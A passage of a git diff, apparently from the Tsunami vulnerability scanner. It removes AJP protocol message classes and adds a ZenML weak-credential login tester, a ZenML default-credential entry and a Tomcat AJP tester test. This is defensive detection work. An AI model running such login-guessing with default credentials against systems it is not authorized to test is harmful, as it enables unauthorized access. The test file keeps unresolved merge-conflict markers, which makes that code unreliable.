java.net.UnknownHostException; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; - -/** - * AJP's ForwardRequestMessage, from the web server to the J2EE container - *

    - * This class begins the request-processing cycle from the server to the - * container - */ -public class ForwardRequestMessage - extends AbstractAjpMessage -{ - - //Mandatory fields - private int method; - private String protocol; - private String requestUri; - private String remoteAddr; - private String remoteHost; - private String serverName; - private int serverPort; - private boolean isSsl; - private List> headers = new LinkedList<>(); - //Optional fields - private List> attributes = new LinkedList<>(); - - /** - * Simplified ForwardRequestMessage constructor - * - * @param method int The HTTP verb - * @param url URL The message URL - * @param headers The request HTTP headers - * @param attributes The request HTTP attributes - * @throws UnknownHostException Generic UnknownHostException - */ - public ForwardRequestMessage(int method, URL url, - List> headers, - List> attributes) throws UnknownHostException - { - this(method, "HTTP/1.1", url.getPath(), InetAddress.getLocalHost().getHostAddress(), - InetAddress.getLocalHost().getCanonicalHostName(), url.getHost(), - ((url.getPort() == -1) ? url.getDefaultPort() : url.getPort()), - url.getProtocol().equalsIgnoreCase("https"), headers, attributes); - - if (url.getQuery() != null) { - addAttribute(Constants.ATTRIBUTE_QUERY_STRING, url.getQuery()); - } - } - - /** - * Complete ForwardRequestMessage constructor - * - * @param method int The HTTP verb - * @param protocol String The HTTP protocol version (HTTP/1.0 or HTTP/1.1) - * @param requestUri String The request path (e.g. /logs/) - * @param remoteAddr String The client's IP address (e.g. web server's IP) - * @param remoteHost String The client's hostname (e.g. web server's hostname) - * @param serverName String The server's IP domain name (e.g. container's FQDN) - * @param serverPort int The server's TCP port - * @param isSsl boolean Does it use SSL? - * @param headers The request HTTP headers - * @param attributes The request HTTP attributes - */ - public ForwardRequestMessage(int method, String protocol, String requestUri, - String remoteAddr, String remoteHost, String serverName, - int serverPort, boolean isSsl, List> headers, - List> attributes) - { - - super(Constants.PACKET_TYPE_FORWARD_REQUEST); - - this.method = method; - writeByte(method); - this.protocol = protocol; //e.g HTTP/1.1 - writeString(protocol, true); - this.requestUri = requestUri; - writeString(requestUri, true); - this.remoteAddr = remoteAddr; //e.g. 127.0.0.1 - writeString(remoteAddr, true); - this.remoteHost = remoteHost; - writeString(remoteHost, true); //e.g. localhost - this.serverName = serverName; - writeString(serverName, true); - this.serverPort = serverPort; - writeInt(serverPort); - this.isSsl = isSsl; - writeBoolean(isSsl); - - //headers - if (headers == null) { - headers = new LinkedList<>(); - } - this.headers = headers; - if (headers.isEmpty()) { - //If empty, add default Host header. Otherwise, assume that it's user-supplied - addHeader("Host", serverName + ":" + serverPort); - } - writeInt(headers.size()); - for (Pair header : headers) { - String name = header.a; - String value = header.b; - - if (Constants.COMMON_HEADERS.containsKey(name.toLowerCase())) { - //Send HeaderName as Byte - writeByte(Constants.HEADERS_GENERIC); - writeByte(Constants.COMMON_HEADERS.get(name.toLowerCase())); - } else { - //Send HeaderName as String - writeString(name, true); - } - //Send HeaderValue - writeString(value, true); - } - - //attributes (optionals) - if (attributes == null) { - attributes = new LinkedList<>(); - } - this.attributes = attributes; - for (Pair attribute : attributes) { - String name = attribute.a; - String value = attribute.b; - - if (Constants.COMMON_ATTRIBUTES.containsKey(name.toLowerCase())) { - //Known attribute type - writeByte(Constants.COMMON_ATTRIBUTES.get(name.toLowerCase())); - } else { - //Extra attribute type - writeByte(Constants.COMMON_ATTRIBUTES.get(Constants.ATTRIBUTE_REQATTR_STRING)); - //Send attribute name - writeString(name, true); - } - //Send attribute value - writeString(value, true); - } - - //End of the packet - writeByte(Constants.REQUEST_TERMINATOR); - } - - /** - * ForwardRequestMessageGetBuilder. An easy way to create ForwardRequest - * messages for HTTP GET request - * - * @param url URL The message URL - * @throws UnknownHostException Generic UnknownHostException - * @return Instance of ForwardRequestMessage - */ - static public ForwardRequestMessage ForwardRequestMessageGetBuilder(URL url) throws UnknownHostException - { - return new ForwardRequestMessage(2, url, null, null); - } - - /** - * ForwardRequestMessagePostBuilder. An easy way to create ForwardRequest - * messages for HTTP POST request - * - * @param url URL The message URL - * @param contentLength int The expected Content-Length - * @throws UnknownHostException Generic UnknownHostException - * @return Instance of ForwardRequestMessage - */ - static public ForwardRequestMessage ForwardRequestMessagePostBuilder(URL url, int contentLength) throws UnknownHostException - { - List> headers = new LinkedList<>(); - headers.add(Pair.make("Content-Length", String.valueOf(contentLength))); - if (contentLength > 0) { - headers.add(Pair.make("Content-Type", "application/x-www-form-urlencoded")); - } - return new ForwardRequestMessage(4, url, headers, null); - } - - /** - * Returns the HTTP verb used by this message - * - * @return the verb used within the ForwardRequestMessage - */ - public int getMethod() - { - return method; - } - - /** - * Returns the HTTP protocol used by this message - * - * @return the version of the HTTP protocol - */ - public String getProtocol() - { - return protocol; - } - - /** - * Returns the HTTP Uri - * - * @return the message's URI - */ - public String getRequestUri() - { - return requestUri; - } - - /** - * Returns the client's IP address - * - * @return Client's IP address - */ - public String getRemoteAddr() - { - return remoteAddr; - } - - /** - * Returns the client's hostname - * - * @return Client's hostname - */ - public String getRemoteHost() - { - return remoteHost; - } - - /** - * Returns the server's FQDM - * - * @return Server's domain name - */ - public String getServerName() - { - return serverName; - } - - /** - * Returns the server's TCP port - * - * @return Server's TCP port - */ - public int getServerPort() - { - return serverPort; - } - - /** - * Returns whether the HTTP request is over HTTP or HTTPS - * - * @return true if over SSL,false otherwise - */ - public boolean isSsl() - { - return isSsl; - } - - /** - * Returns the message HTTP headers - * - * @return the message's headers as List[Pair[String, String]] - */ - public List> getHeaders() - { - return headers; - } - - final void addHeader(String name, String value) - { - headers.add(Pair.make(name, value)); - } - - final void addAttribute(String name, String value) - { - attributes.add(Pair.make(name, value)); - } - - /** - * Returns the number of headers in the ForwardRequestMessage packet - * - * @return the number of headers - */ - public int numHeaders() - { - return headers.size(); - } - - /** - * Returns the number of attributes in the ForwardRequestMessage packet - * - * @return the number of attributes - */ - public int numAttributes() - { - return attributes.size(); - } - - static ForwardRequestMessage readFrom(InputStream in) throws IOException - { - int method = AjpReader.readByte(in); - String protocol = AjpReader.readString(in); - String requestUri = AjpReader.readString(in); - String remoteAddr = AjpReader.readString(in); - String remoteHost = AjpReader.readString(in); - String serverName = AjpReader.readString(in); - int serverPort = AjpReader.readInt(in); - boolean isSsl = AjpReader.readBoolean(in); - int numHeaders = AjpReader.readInt(in); - - List> headers = new LinkedList<>(); - for (int i = 0; i < numHeaders; i++) { - int b1 = AjpReader.readByte(in); - int b2 = AjpReader.readByte(in); - - String name = ""; - if (b1 == Constants.HEADERS_GENERIC && Constants.COMMON_HEADERS.containsValue(b2)) { - for (Map.Entry entry : Constants.COMMON_HEADERS.entrySet()) { - String key = entry.getKey(); - Integer value = entry.getValue(); - if (value == b2) { - name = key; - } - } - } else { - name = AjpReader.readString(AjpReader.makeInt(b1, b2), in); - } - headers.add(Pair.make(name, AjpReader.readString(in))); - } - - //read 'till the end - List> attributes = new LinkedList<>(); - while (in.available() > 0) { - int next = AjpReader.readByte(in); - if (next == Constants.REQUEST_TERMINATOR) { - break; - } else if (Constants.COMMON_ATTRIBUTES.containsValue(next)) { - String name = ""; - for (Map.Entry entry : Constants.COMMON_ATTRIBUTES.entrySet()) { - String key = entry.getKey(); - Integer value = entry.getValue(); - if (value == next) { - name = key; - //Exception for req_attribute - if (name.equalsIgnoreCase(Constants.ATTRIBUTE_REQATTR_STRING)) { - name = AjpReader.readString(in); - } - } - } - attributes.add(Pair.make(name, AjpReader.readString(in))); - } else { - System.out.println("[!] ForwardRequestMessage Unexpected Attribute: " + next); - } - } - - return new ForwardRequestMessage(method, protocol, requestUri, remoteAddr, - remoteHost, serverName, serverPort, isSsl, headers, attributes); - } - - @Override - public String toString() - { - StringBuilder sb = new StringBuilder(); - sb.append("Method: ").append(method).append("\n"); - sb.append("Protocol: ").append(protocol).append("\n"); - sb.append("RequestUri: ").append(requestUri).append("\n"); - sb.append("RemoteAddr: ").append(remoteAddr).append("\n"); - sb.append("RemoteHost: ").append(remoteHost).append("\n"); - sb.append("ServerName: ").append(serverName).append("\n"); - sb.append("ServerPort: ").append(serverPort).append("\n"); - sb.append("isSsl: ").append(isSsl).append("\n"); - for (Pair header : headers) { - String name = header.a; - String value = header.b; - sb.append("Header: ").append(name).append(" ").append(value).append("\n"); - } - - for (Pair attribute : attributes) { - String name = attribute.a; - String value = attribute.b; - sb.append("Attribute: ").append(name).append(" ").append(value).append("\n"); - } - - return sb.toString(); - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "Forward Request (begin the request-processing cycle)"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "Begin the request-processing cycle with the following data.\n" + this.toString(); - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/GetBodyChunkMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/GetBodyChunkMessage.java deleted file mode 100644 index 083eb880a..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/GetBodyChunkMessage.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * libajp13 - GetBodyChunckMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.IOException; -import java.io.InputStream; - -/** - * AJP's Get Body Chunk message, from the J2EE container to the web server - */ -public class GetBodyChunkMessage - extends AbstractAjpMessage -{ - - final int length; - - /** - * GetBodyChunkMessage constructor - * - * @param length int The expected body chunk message size - */ - public GetBodyChunkMessage(int length) - { - super(Constants.PACKET_TYPE_GET_BODY_CHUNK); - this.length = length; - writeInt(length); - } - - static GetBodyChunkMessage readFrom(InputStream in) throws IOException - { - int length = AjpReader.readInt(in); - return new GetBodyChunkMessage(length); - } - - /** - * Returns the expected body chunk message size - * - * @return the expected body chunk message size - */ - public int getLength() - { - return length; - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "Get Body Chunk"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "Get further data (" + length + " bytes) from the request if it hasn't all been transferred yet"; - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/Pair.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/Pair.java deleted file mode 100644 index 05b2be131..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/Pair.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * libajp13 - Pair.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -/** - * Pair consisting of two elements; utility class used for headers and - * attributes - *

    - * Alternatively, you can use Apache Commons - */ -public class Pair -{ - - final T a; - final U b; - - /** - * Pair constructor - * - * @param a T Left element - * @param b U Right element - */ - public Pair(T a, U b) - { - this.a = a; - this.b = b; - } - - /** - * Create a new Pair given the left and right elements - * - * @param k Left element - * @param v Right element - * @param k K Left element - * @param v V Right element - * @return Instance of Pair - */ - public static Pair make(K k, V v) - { - return new Pair<>(k, v); - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/PingMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/PingMessage.java deleted file mode 100644 index b38d6e839..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/PingMessage.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * libajp13 - PingMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -/** - * AJP's Ping, from the web server to the J2EE container - *

    - * This is different from a CPing message - * - * TODO - Reverse any implementation of the ping type handler - */ -public class PingMessage - extends AbstractAjpMessage -{ - - /** - * PingMessage constructor - * - */ - public PingMessage() - { - super(Constants.PACKET_TYPE_PING); - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "Ping"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "The web server asks the container to take control (secure login phase)"; - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/SendBodyChunkMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/SendBodyChunkMessage.java deleted file mode 100644 index 6778676ce..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/SendBodyChunkMessage.java +++ /dev/null @@ -1,103 +0,0 @@ -/* - * libajp13 - SendBodyChunkMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.IOException; -import java.io.InputStream; -import java.io.UnsupportedEncodingException; - -/** - * AJP's Send Body Chunk message, from the J2EE container to the web server - */ -public class SendBodyChunkMessage - extends AbstractAjpMessage -{ - - final int length; - final byte[] bytes; - - /** - * SendBodyChunkMessage constructor - * - * @param bytes[] The body chunk message content - * @throws IOException Generic IOException - */ - public SendBodyChunkMessage(byte[] bytes) throws IOException - { - super(Constants.PACKET_TYPE_SEND_BODY_CHUNK); - this.length = bytes.length; - writeInt(length); - this.bytes = bytes; - //We assume no trailing null byte. Correct? - writeBytes(bytes); - } - - /** - * Returns the body chunk message size - * - * @return the body chunk message size - */ - public int getLength() - { - return length; - } - - /** - * Returns the body chunk content - * - * @return the body chunk message - */ - public byte[] getBodyChunk() - { - return bytes; - } - - @Override - public String toString() - { - try { - return new String(bytes, "UTF-8"); - } catch (UnsupportedEncodingException ex) { - System.out.println("[!] SendBodyChunkMessage UnsupportedEncodingException: " + ex.getLocalizedMessage()); - return "InvalidEncoding"; - } - } - - static SendBodyChunkMessage readFrom(InputStream in) throws IOException - { - int length = AjpReader.readInt(in); - byte[] bytes = new byte[length]; - AjpReader.fullyRead(bytes, in); - return new SendBodyChunkMessage(bytes); - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "Send Body Chunk"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "Send a chunk of the body from the servlet container to the web server." - + "\nContent (HEX):\n0x" + AjpReader.getHex(bytes) - + "\nContent (Ascii):\n" + this.toString(); - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/SendHeadersMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/SendHeadersMessage.java deleted file mode 100644 index b9ae0f523..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/SendHeadersMessage.java +++ /dev/null @@ -1,155 +0,0 @@ -/* - * libajp13 - SendHeadersMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.IOException; -import java.io.InputStream; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; - -/** - * AJP's Send Headers message, from the J2EE container to the web server - */ -public class SendHeadersMessage - extends AbstractAjpMessage -{ - - private int statusCode; - private String statusMessage; - private List> headers; - - /** - * SendHeadersMessage constructor - * - * @param statusCode The HTTP status code (e.g. 200) - * @param statusMessage The status message (e.g. OK) - * @param headers A list of Pair[String, String] containing all headers - * @throws IOException Generic IOException - */ - public SendHeadersMessage(int statusCode, String statusMessage, List> headers) throws IOException - { - super(Constants.PACKET_TYPE_SEND_HEADERS); - this.statusCode = statusCode; - writeInt(statusCode); - this.statusMessage = statusMessage; - writeString(statusMessage, true); - this.headers = headers; - int numHeaders = headers.size(); - writeInt(numHeaders); - for (Pair header : headers) { - String name = header.a; - String value = header.b; - - if (Constants.RESPONSE_HEADERS.containsKey(name.toLowerCase())) { - //Send HeaderName as Byte - writeByte(Constants.HEADERS_GENERIC); - writeByte(Constants.RESPONSE_HEADERS.get(name.toLowerCase())); - } else { - //Send HeaderName as String - writeString(name, true); - } - //Send HeaderValue - writeString(value, true); - } - } - - /** - * Returns the HTTP status code (e.g. 200) - * - * @return the message's status code - */ - public int getStatusCode() - { - return statusCode; - } - - /** - * Returns the status message (e.g. OK) - * - * @return the message's status - */ - public String getStatusMessage() - { - return statusMessage; - } - - /** - * Returns the message HTTP headers - * - * @return the message's headers as List[Pair[String, String]] - */ - public List> getHeaders() - { - return headers; - } - - - @Override - public String toString() - { - StringBuilder ret = new StringBuilder(); - ret.append(statusCode).append(" ").append(statusMessage).append("\n"); - ret.append("Headers:\n"); - for (Pair header : headers) { - ret.append(header.a).append(": ").append(header.b).append("\n"); - } - return ret.toString(); - } - - static SendHeadersMessage readFrom(InputStream in) throws IOException - { - int statusCode = AjpReader.readInt(in); - String statusMessage = AjpReader.readString(in); - int numHeaders = AjpReader.readInt(in); - List> headers = new LinkedList<>(); - for (int i = 0; i < numHeaders; i++) { - int b1 = AjpReader.readByte(in); - int b2 = AjpReader.readByte(in); - - String name = ""; - if (b1 == Constants.HEADERS_GENERIC && Constants.RESPONSE_HEADERS.containsValue(b2)) { - for (Map.Entry entry : Constants.RESPONSE_HEADERS.entrySet()) { - String key = entry.getKey(); - Integer value = entry.getValue(); - if (value == b2) { - //According to RFC 7230, header field names are case-insensitive - name = key; - } - } - } else { - name = AjpReader.readString(AjpReader.makeInt(b1, b2), in); - } - headers.add(Pair.make(name, AjpReader.readString(in))); - } - return new SendHeadersMessage(statusCode, statusMessage, headers); - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "Send Headers"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "Send the response headers from the servlet container to the web server.\nContent:\n" + this.toString(); - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/ShutdownMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/ShutdownMessage.java deleted file mode 100644 index 79d2cbc0f..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/ShutdownMessage.java +++ /dev/null @@ -1,50 +0,0 @@ -/* - * libajp13 - ShutdownMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -/** - * AJP's Shutdown message, from the web server to the J2EE container - */ -public class ShutdownMessage - extends AbstractAjpMessage -{ - - /** - * ShutdownMessage constructor - * - */ - public ShutdownMessage() - { - super(Constants.PACKET_TYPE_SHUTDOWN); - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "Shutdown"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "The web server asks the container to shut itself down.\n(Hopefully) " - + "the container will only perform the Shutdown if the request comes " - + "from the same machine"; - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/zenml/ZenMlCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/zenml/ZenMlCredentialTester.java new file mode 100644 index 000000000..00e975833 --- /dev/null +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/zenml/ZenMlCredentialTester.java @@ -0,0 +1,152 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.zenml; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.google.gson.JsonSyntaxException; +import com.google.protobuf.ByteString; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.provider.TestCredential; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.tester.CredentialTester; +import com.google.tsunami.proto.NetworkService; +import java.io.IOException; +import java.util.List; +import javax.inject.Inject; + +/** Credential tester specifically for zenml. */ +public final class ZenMlCredentialTester extends CredentialTester { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final String ZENML_SERVICE = "zenml"; + + private final HttpClient httpClient; + + @Inject + ZenMlCredentialTester(HttpClient httpClient) { + this.httpClient = checkNotNull(httpClient); + } + + @Override + public String name() { + return "ZenMlCredentialTester"; + } + + @Override + public String description() { + return "ZenMl credential tester."; + } + + @Override + public boolean canAccept(NetworkService networkService) { + return NetworkServiceUtils.getWebServiceName(networkService).equals(ZENML_SERVICE); + } + + @Override + public boolean batched() { + return true; + } + + @Override + public ImmutableList testValidCredentials( + NetworkService networkService, List credentials) { + // Always return 1st weak credential to gracefully handle no auth configured case, where we + // return empty credential instead of all the weak credentials + return credentials.stream() + .filter(cred -> isZenMlAccessible(networkService, cred)) + .findFirst() + .map(ImmutableList::of) + .orElseGet(ImmutableList::of); + } + + private boolean isZenMlAccessible(NetworkService networkService, TestCredential credential) { + var loginApiUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "api/v1/login"; + try { + HttpResponse apiLoginResponse = + httpClient.send( + post(loginApiUrl) + .setHeaders( + HttpHeaders.builder() + .addHeader("Content-Type", "application/x-www-form-urlencoded") + .build()) + .setRequestBody( + ByteString.copyFromUtf8( + String.format( + "username=%s&password=%s", + credential.username(), credential.password().orElse("")))) + .build()); + + if (apiLoginResponse.status() == HttpStatus.UNAUTHORIZED + && apiLoginResponse.bodyString().isPresent() + && apiLoginResponse + .bodyString() + .get() + .equals( + "{\"detail\":[\"AuthorizationException\"," + + "\"Authentication error: invalid username or password\"]}")) { + return false; + } + + if (apiLoginResponse.status() == HttpStatus.OK + && apiLoginResponse.bodyString().isPresent() + && bodyContainsSuccessfulAccessToken(apiLoginResponse.bodyString().get())) { + logger.atWarning().log("=============================================="); + return true; + } + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", loginApiUrl); + return false; + } + return false; + } + + /** + * A successful authenticated request to the /api/v1/login endpoint returns a JSON with a root key + * like the following: {"access_token":"An Access + * Token","token_type":"bearer","expires_in":null,"refresh_token":null,"scope":null} + */ + private static boolean bodyContainsSuccessfulAccessToken(String responseBody) { + try { + JsonObject response = JsonParser.parseString(responseBody).getAsJsonObject(); + + if (response.has("access_token") + && response.has("token_type") + && response.has("refresh_token") + && response.has("scope") + && response.has("expires_in")) { + logger.atInfo().log("Successfully logged in as a zenml user"); + return true; + } else { + return false; + } + } catch (JsonSyntaxException e) { + logger.atWarning().withCause(e).log( + "An error occurred while parsing the json response: %s", responseBody); + return false; + } + } +} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto b/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto index 86293f939..653b4e5ae 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto @@ -77,3 +77,9 @@ service_default_credentials { default_usernames: "username" default_passwords: "password" } + +service_default_credentials { + service_name: "zenml" + default_usernames: "default" + default_passwords: "" +} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatAjpCredentialTesterTest.java b/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatAjpCredentialTesterTest.java new file mode 100644 index 000000000..c220d3ecf --- /dev/null +++ b/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatAjpCredentialTesterTest.java @@ -0,0 +1,244 @@ +/* + * Copyright 2023 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.tomcat; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static java.nio.charset.StandardCharsets.UTF_8; + +import com.google.common.collect.ImmutableList; +import com.google.common.io.Resources; +import com.google.inject.Guice; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.provider.TestCredential; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.ServiceContext; +import com.google.tsunami.proto.Software; +import com.google.tsunami.proto.WebServiceContext; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.net.ServerSocket; +import java.net.Socket; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; +<<<<<<< HEAD +import java.util.concurrent.ThreadLocalRandom; +======= +>>>>>>> 2014afe1 (Finished AJP plugin) +import javax.inject.Inject; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Tests for {@link TomcatAjpCredentialTester}. */ +@RunWith(JUnit4.class) +public final class TomcatAjpCredentialTesterTest { + + @Inject private TomcatAjpCredentialTester tester; + + private static final TestCredential WEAK_CRED_1 = + TestCredential.create("user", Optional.of("1234")); + private static final TestCredential WEAK_CRED_2 = + TestCredential.create("root", Optional.of("pass")); + private static final TestCredential WRONG_CRED_1 = + TestCredential.create("wrong", Optional.of("pass")); + private static final String WEAK_CRED_AUTH_1 = "Basic dXNlcjoxMjM0"; + private static final String WEAK_CRED_AUTH_2 = "Basic cm9vdDpwYXNz"; + + private AjpTestServer ajpTestServer; + + /** + * Configure the Ajp Server before runing. + * + */ + @Before + public void setup() throws IOException { + ajpTestServer = new AjpTestServer(); + ajpTestServer.start(); + Guice.createInjector().injectMembers(this); + } + + @Test + public void detect_weakCredentialsExists_returnsWeakCredentials() throws Exception { + ajpTestServer.setResponseForCredential( + WEAK_CRED_AUTH_1, + Resources.toByteArray( + Resources.getResource(this.getClass(), "testdata/successfulAuthdResponse.bin"))); + + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(ajpTestServer.getHost(), ajpTestServer.getPort())) + .setServiceName("ajp13") + .setServiceContext( + ServiceContext.newBuilder() + .setWebServiceContext( + WebServiceContext.newBuilder() + 